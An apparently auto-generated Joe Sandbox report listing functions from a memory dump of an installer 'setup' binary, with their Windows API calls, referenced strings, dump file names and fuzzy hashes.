Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetcollRegister
String ID:
API String ID: 1184649410-0
Opcode ID: a2ab833967fe509e2dc5a37205563086d816cc05547403cf05f929155b2b61e1
Instruction ID: bd193a6b6d8c4e7296ef6502dee4ac2722e66534b835cd4e6df04399ed423e16
Opcode Fuzzy Hash: a2ab833967fe509e2dc5a37205563086d816cc05547403cf05f929155b2b61e1
Instruction Fuzzy Hash: 2A518C71904249DFCB11DF98D880BADFBF0EF55314F2481AAE8167B381E7746A05CB90

Function 00C7B930 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 342COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00C7BBD5
__Init_thread_footer.LIBCMT ref: 00C7BCA1

Strings

AI_FRAME_NO_CAPTION_, xrefs: 00C7B985
Dialog, xrefs: 00C7BA4C
`Dialog` = ', xrefs: 00C7BA01

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: Init_thread_footer
String ID: AI_FRAME_NO_CAPTION_$Dialog$`Dialog` = '
API String ID: 1385522511-2270296660
Opcode ID: ba1d03a361bc8e9dfbfaef8e8d3477d13b3e799c98c62d7fa6c14195b2b3610e
Instruction ID: 206d3e957ae518ca5ff48ca689818f2de0b180a704d3c3b96841a3d746cf515e
Opcode Fuzzy Hash: ba1d03a361bc8e9dfbfaef8e8d3477d13b3e799c98c62d7fa6c14195b2b3610e
Instruction Fuzzy Hash: 71D1B271900208DFCB14DFB9DD85B9EB7B1EF5A310F148269E919BB291D770B948CBA0

Function 00D819D3 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00D819CA,00D81996,?,?,00BDC5ED,00CCA740,?,00000008), ref: 00D819E1
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00D819EF
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00D81A08
SetLastError.KERNEL32(00000000,00D819CA,00D81996,?,?,00BDC5ED,00CCA740,?,00000008), ref: 00D81A5A

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: eee8445bca367e69ea92bf0aef099b522f65af9529ccc6e8cff33350ffec0661
Instruction ID: 061865624cb0816fb5bfd02edc062a88bb41d2355ffe257a78036e50e524be0a
Opcode Fuzzy Hash: eee8445bca367e69ea92bf0aef099b522f65af9529ccc6e8cff33350ffec0661
Instruction Fuzzy Hash: 4401753620A2129E972837BAAC85B6B269CDB11779774032BF524751E0EF158C5B5370

Function 00CCD460 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 166synchronizationCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00CCD5E7
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00CCD603
GetExitCodeProcess.KERNEL32(00000000,00DEC257), ref: 00CCD614
CloseHandle.KERNEL32(00000000), ref: 00CCD622

Strings

<, xrefs: 00CCD4CF

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: CloseCodeErrorExitHandleLastObjectProcessSingleWait
String ID: <
API String ID: 2321548817-4251816714
Opcode ID: 22cd5b13df965d9441a814324c0f79945c6076994f73a03babe4773f11d298ce
Instruction ID: 7a4664adff44436ecd280edf3a77af4b7cd417cd649dc9c9d44bd9831990049c
Opcode Fuzzy Hash: 22cd5b13df965d9441a814324c0f79945c6076994f73a03babe4773f11d298ce
Instruction Fuzzy Hash: D4616AB1D006499FDB10CFA9C844B9EBBB4FF49324F14826DE826AB391D7759E44CB90

Function 00BAF828 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 166libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,.dll,?,00000000,?,?,?,?,?,?,?), ref: 00BAF96B
GetProcAddress.KERNEL32(00000000,DllGetActivationFactory), ref: 00BAF9B4
FreeLibrary.KERNEL32(00000000,00000000,DllGetActivationFactory,00000002,00000000,?,.dll,?,00000000,?,?,?,?,?,?,?), ref: 00BAFA02

Strings

.dll, xrefs: 00BAF952
DllGetActivationFactory, xrefs: 00BAF9AE

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: .dll$DllGetActivationFactory
API String ID: 145871493-1250754257
Opcode ID: 2c7c322545c27fdfd145e46aedc29a45c446b3d5c7335f2d74fc209ee3a10ffd
Instruction ID: b902582a813f815405e5a649fd56e56b2c22eb6699b27c664b39acebf2be6c37
Opcode Fuzzy Hash: 2c7c322545c27fdfd145e46aedc29a45c446b3d5c7335f2d74fc209ee3a10ffd
Instruction Fuzzy Hash: EE615D30D0820AEEDF14DFA8C895BFDB7F1EF15300F2481A9E415A7291EB749A45CB61

Function 00BAF84C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 98libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,.dll,?,00000000,?,?,?,?,?,?,?), ref: 00BAF96B
GetProcAddress.KERNEL32(00000000,DllGetActivationFactory), ref: 00BAF9B4
FreeLibrary.KERNEL32(00000000,00000000,DllGetActivationFactory,00000002,00000000,?,.dll,?,00000000,?,?,?,?,?,?,?), ref: 00BAFA02

Strings

.dll, xrefs: 00BAF952
DllGetActivationFactory, xrefs: 00BAF9AE

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: .dll$DllGetActivationFactory
API String ID: 145871493-1250754257
Opcode ID: 10ad0eb947153b09064dffe9335a08d3674c6e393394a8829c2b6621656c8fb9
Instruction ID: 05a4d00eca3899bc36a1d687f518ce20c759c06169d00350e32f45e74f318b05
Opcode Fuzzy Hash: 10ad0eb947153b09064dffe9335a08d3674c6e393394a8829c2b6621656c8fb9
Instruction Fuzzy Hash: CD414F30D0420AEEDF24DFA8C894AFEB7F1EF55300F2581A9D015A71A1EB74DA45CB61

Function 00CB6AB0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 96registrylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Advapi32.dll,E5106CA8,E5106CA8,?,?,?,?,00DA82C0,000000FF), ref: 00CB6AF3
GetProcAddress.KERNEL32(00000000,RegCreateKeyTransactedW), ref: 00CB6B1C
RegCloseKey.ADVAPI32(00000000,?,?,?,?,00DA82C0,000000FF), ref: 00CB6B7C

Strings

RegCreateKeyTransactedW, xrefs: 00CB6B16
Advapi32.dll, xrefs: 00CB6AEE

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: AddressCloseHandleModuleProc
String ID: Advapi32.dll$RegCreateKeyTransactedW
API String ID: 4190037839-2994018265
Opcode ID: ad5e5e4a1d5982207da7c0792305d734f40d75811c291323793eb08f82a81682
Instruction ID: f090594386b7de1b0776b7878d8da3e0af42ce0e3a55a7d113e1a158c9c89312
Opcode Fuzzy Hash: ad5e5e4a1d5982207da7c0792305d734f40d75811c291323793eb08f82a81682
Instruction Fuzzy Hash: B0318E72744205AFEB248F45DC45FEABBB8FB08750F10412AF915E7280E779A904DAA4

Function 00CCF120 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ComCtl32.dll,E5106CA8,?,00000007,00000007), ref: 00CCF15E
GetProcAddress.KERNEL32(00000000,LoadIconMetric), ref: 00CCF181
FreeLibrary.KERNEL32(00000000), ref: 00CCF1FF

Strings

LoadIconMetric, xrefs: 00CCF17B
ComCtl32.dll, xrefs: 00CCF152

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: ComCtl32.dll$LoadIconMetric
API String ID: 145871493-764666640
Opcode ID: 47d71e4d4a282453aa86fcb735ad9c035639e7b24bcbe8b1ba55f1fb29fad3d0
Instruction ID: 438acd16002b8f76743fb5b3025aeb98f5524fd342a156c57344fd51a57c872d
Opcode Fuzzy Hash: 47d71e4d4a282453aa86fcb735ad9c035639e7b24bcbe8b1ba55f1fb29fad3d0
Instruction Fuzzy Hash: 73314FB1A00259EFEB109F96DC44BAFBBF8EB48750F14422EE915E7290D7758A05CB90

Function 00BB2551 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 00D80260: EnterCriticalSection.KERNEL32(00E9FF6C,?,?,?,00BAAD96,00EA0B9C,E5106CA8,?,?,00DA83BD,000000FF,?,00BA1177,E5106CA8,?,00DAA90F), ref: 00D8026B
Part of subcall function 00D80260: LeaveCriticalSection.KERNEL32(00E9FF6C,?,?,?,00BAAD96,00EA0B9C,E5106CA8,?,?,00DA83BD,000000FF,?,00BA1177,E5106CA8,?,00DAA90F), ref: 00D802A8

__Init_thread_footer.LIBCMT ref: 00BB2592

Part of subcall function 00D80216: EnterCriticalSection.KERNEL32(00E9FF6C,?,?,00BAAE07,00EA0B9C,00E0A670), ref: 00D80220
Part of subcall function 00D80216: LeaveCriticalSection.KERNEL32(00E9FF6C,?,?,00BAAE07,00EA0B9C,00E0A670), ref: 00D80253
Part of subcall function 00D80216: RtlWakeAllConditionVariable.NTDLL ref: 00D802CA

__Init_thread_footer.LIBCMT ref: 00BB25DA
CreateDirectoryW.KERNEL32(?,00000000), ref: 00BB2617

Strings

xi, xrefs: 00BB25E6
xi, xrefs: 00BB256E

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: CriticalSection$EnterInit_thread_footerLeave$ConditionCreateDirectoryVariableWake
String ID: xi$xi
API String ID: 2312781895-3471652813
Opcode ID: c4facf971391dc0afbfc3231dad2f97d3183aa0394123aaada6929944470c673
Instruction ID: 1c6834281980615585c478b333adfbcd80a1b6222ef8a0d3c452310e938827c2
Opcode Fuzzy Hash: c4facf971391dc0afbfc3231dad2f97d3183aa0394123aaada6929944470c673
Instruction Fuzzy Hash: AE21A4719403099BC724EBA4DD0A7AE77B0EB9A720F1442A5E4627B2D1D7B06908C762

Function 00D8B56C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,E5106CA8,00000001,?,00000000,00E0A459,000000FF,?,00D8B4FC,?,?,00D8B4D0,00000016), ref: 00D8B5A1
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00D8B5B3
FreeLibrary.KERNEL32(00000000,?,00000000,00E0A459,000000FF,?,00D8B4FC,?,?,00D8B4D0,00000016), ref: 00D8B5D5

Strings

CorExitProcess, xrefs: 00D8B5AB
mscoree.dll, xrefs: 00D8B59A

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 4fb39bfe22fc54c097f482e74a368542dca1cb2403541a964f4b346b531a9ac5
Instruction ID: 7f7e3aab9160a244316860c9f306b200e0b58a17f6c9b465a7b957037d637837
Opcode Fuzzy Hash: 4fb39bfe22fc54c097f482e74a368542dca1cb2403541a964f4b346b531a9ac5
Instruction Fuzzy Hash: 6701D631940759EFDB019F91DC09BAEBBB8FB04B20F144626F811F26E0DB759948CB90

Function 00D802E8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,00D80285,00000064), ref: 00D8030B
LeaveCriticalSection.KERNEL32(00E9FF6C,?,?,00D80285,00000064,?,?,?,00BAAD96,00EA0B9C,E5106CA8,?,?,00DA83BD,000000FF), ref: 00D80315
WaitForSingleObjectEx.KERNEL32(?,00000000,?,00D80285,00000064,?,?,?,00BAAD96,00EA0B9C,E5106CA8,?,?,00DA83BD,000000FF), ref: 00D80326
EnterCriticalSection.KERNEL32(00E9FF6C,?,00D80285,00000064,?,?,?,00BAAD96,00EA0B9C,E5106CA8,?,?,00DA83BD,000000FF,?,00BA1177), ref: 00D8032D

Strings

v, xrefs: 00D80315

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID: v
API String ID: 3269011525-3261393531
Opcode ID: 291315e3188975fc95853fa6af841e7d601c412be067e8b98e1a1d378f501d2c
Instruction ID: 1da403310039d3db65478d6e5977aae82dbbcf87aead0d25ca56e5722cba9e89
Opcode Fuzzy Hash: 291315e3188975fc95853fa6af841e7d601c412be067e8b98e1a1d378f501d2c
Instruction Fuzzy Hash: 70E01B31B45628AFCA113B91FC0998D3E189B067517215231F549F51708B635895CBD4

Function 00CC5040 Relevance: 7.6, APIs: 5, Instructions: 122COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00CC5074
std::_Lockit::_Lockit.LIBCPMT ref: 00CC5096
std::_Lockit::~_Lockit.LIBCPMT ref: 00CC50BE
std::_Facet_Register.LIBCPMT ref: 00CC51A7
std::_Lockit::~_Lockit.LIBCPMT ref: 00CC51D1

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 37167683fb95009c6d1dff7faede0c7bb1863fed9dd076e7b29d7b584f07edba
Instruction ID: a077d0da287379fddd955ab4f8806a843e630263d22bb8e24bca93a090357fd8
Opcode Fuzzy Hash: 37167683fb95009c6d1dff7faede0c7bb1863fed9dd076e7b29d7b584f07edba
Instruction Fuzzy Hash: 6D518B70A00648DFDB11CF58C845BAEBBB0EF41354F28815DE855AB381EBB5BA45CBE1

Function 00BB0B20 Relevance: 7.6, APIs: 5, Instructions: 60memorywindowCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000000), ref: 00BB0B6A
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 00BB0B70
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,00000000,00000000,00000000), ref: 00BB0B93
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,00DA9C66,000000FF), ref: 00BB0BBB
HeapFree.KERNEL32(00000000,00000000,00000000,?,?,?,00DA9C66,000000FF), ref: 00BB0BC1

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: Heap$FreeProcess$FormatMessage
String ID:
API String ID: 1606019998-0
Opcode ID: 2458fd7a3b939283796279471b8499bda024796f916c7b5d8b5c9097691a809f
Instruction ID: 4c72ad8df1ac0d994be61b6cd470cea5354dc329d8e50f52d83444b80a503fc9
Opcode Fuzzy Hash: 2458fd7a3b939283796279471b8499bda024796f916c7b5d8b5c9097691a809f
Instruction Fuzzy Hash: 9A1151B1A14219ABEB10EBA4CD01BAFB7F8EB04B04F104519F514A72C1D7F59A048BA0

Function 00BAD4FE Relevance: 7.5, APIs: 5, Instructions: 46synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?), ref: 00BAD501
GetExitCodeProcess.KERNEL32(?,?), ref: 00BAD51E
GetLastError.KERNEL32 ref: 00BAD528
GetLastError.KERNEL32 ref: 00BAD53F

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: ErrorLast$CodeExitObjectProcessSingleWait
String ID:
API String ID: 590199018-0
Opcode ID: 1b13f7dd3e8c9f19cb7147f79917fed8f6034f652e70338d8abc5d4c396680b2
Instruction ID: e40148b4690231c3aa420572c26d4901d0656286cea6015c4d81a3a035d9ff6d
Opcode Fuzzy Hash: 1b13f7dd3e8c9f19cb7147f79917fed8f6034f652e70338d8abc5d4c396680b2
Instruction Fuzzy Hash: 8C016DB2D04505CFDB109BA9DC0526DBBB5EF96334B2443A5E826E36E0E7319C95CA90

Function 00BC27D0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 204COMMON

Download Yara Rule

APIs

PathIsUNCW.SHLWAPI(*.*,?,?,?,E5106CA8,?), ref: 00BC28B5

Strings

\\?\UNC\, xrefs: 00BC28D7, 00BC2990
\\?\, xrefs: 00BC29A6, 00BC29FE
*.*, xrefs: 00BC27E4, 00BC28B4

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: Path
String ID: *.*$\\?\$\\?\UNC\
API String ID: 2875597873-1700010636
Opcode ID: fedeeca82e03099af3fe4ef875e145c21761316a53e7ca10b6c1b5c779bc7a65
Instruction ID: adf04f4d7f162259ea93ee6e5c2f48cb5dabde90177ebdb02fbd6d426c60c9f1
Opcode Fuzzy Hash: fedeeca82e03099af3fe4ef875e145c21761316a53e7ca10b6c1b5c779bc7a65
Instruction Fuzzy Hash: C6710171A006099BDB10DF68C849FAAF3FAFF54724F1482ADE415DB291DBB69D40CB90

Function 00CFFCA0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 167COMMON

Download Yara Rule

APIs

Part of subcall function 00BAACF0: GetProcessHeap.KERNEL32 ref: 00BAAD45
Part of subcall function 00BAACF0: __Init_thread_footer.LIBCMT ref: 00BAAD77
Part of subcall function 00BAACF0: __Init_thread_footer.LIBCMT ref: 00BAAE02

CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00DEF97F,000000FF), ref: 00CFFE23
DeleteCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00DEF97F,000000FF), ref: 00CFFEB1

Strings

<< Advanced Installer (x86) Log >>, xrefs: 00CFFD8F
Ls, xrefs: 00CFFE14

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

